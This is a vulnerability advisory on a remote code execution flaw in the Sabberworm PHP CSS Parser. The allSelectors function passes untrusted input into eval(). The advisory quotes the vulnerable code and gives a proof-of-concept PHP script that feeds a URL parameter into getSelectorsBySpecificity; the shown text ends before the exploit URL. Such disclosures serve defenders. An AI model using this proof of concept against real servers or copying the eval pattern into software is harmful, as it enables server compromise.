Vulnerability summary
-------------------------------------------------
The Sabberworm PHP CSS Parser evaluates uncontrolled data which may result
in remote code execution if the affected function is called with attacker
controlled data.


Technical details
-------------------------------------------------
The function `allSelectors` in
`lib/Sabberworm/CSS/CSSList/CSSBlockList.php` on line `64` interpolates
untrusted data inside an `eval()` operation on line `73`.
https://github.com/sabberworm/PHP-CSS-Parser/blob/master/lib/Sabberworm/CSS/CSSList/CSSBlockList.php#L73

The function `allSelectors` is called via the function
`getSelectorsBySpecificity` in `lib/Sabberworm/CSS/CSSList/Document.php`
which is the class object returned from the `parse()` function in
`lib/Sabberworm/CSS/Parser.php`. If an attacker is able to supply or
influence the content of the data passed to the `allSelectors` or
 `getSelectorsBySpecificity` functions, the server will execute attacker
controlled code.

```php
protected function allSelectors(&$aResult, $sSpecificitySearch = null) {
    $aDeclarationBlocks = array();
    $this->allDeclarationBlocks($aDeclarationBlocks);
    foreach ($aDeclarationBlocks as $oBlock) {
        foreach ($oBlock->getSelectors() as $oSelector) {
            if ($sSpecificitySearch === null) {
                $aResult[] = $oSelector;
            } else {
                $sComparison = "\$bRes = {$oSelector->getSpecificity()}
$sSpecificitySearch;";
                eval($sComparison);
                if ($bRes) {
                    $aResult[] = $oSelector;
                }
            }
        }
    }
}
```


Proof of concept
-------------------------------------------------
The following evidence is provided to illustrate the existence and
exploitation
of this vulnerability:

Save the following code as csspwn.php
```php
<?php
use Sabberworm\CSS\Parser;

$css="#test .help,\n#file,\n.help:hover,\nli.green,\nol li::before {\n
   font-family: Helvetica;\n}";

$oCssParser = new Sabberworm\CSS\Parser($css);
$oDoc = $oCssParser->parse();
$oDoc->getSelectorsBySpecificity('> '.$_GET['n']);
?>
```
Serve the page via `php -S 0:8888` then open the following URL:
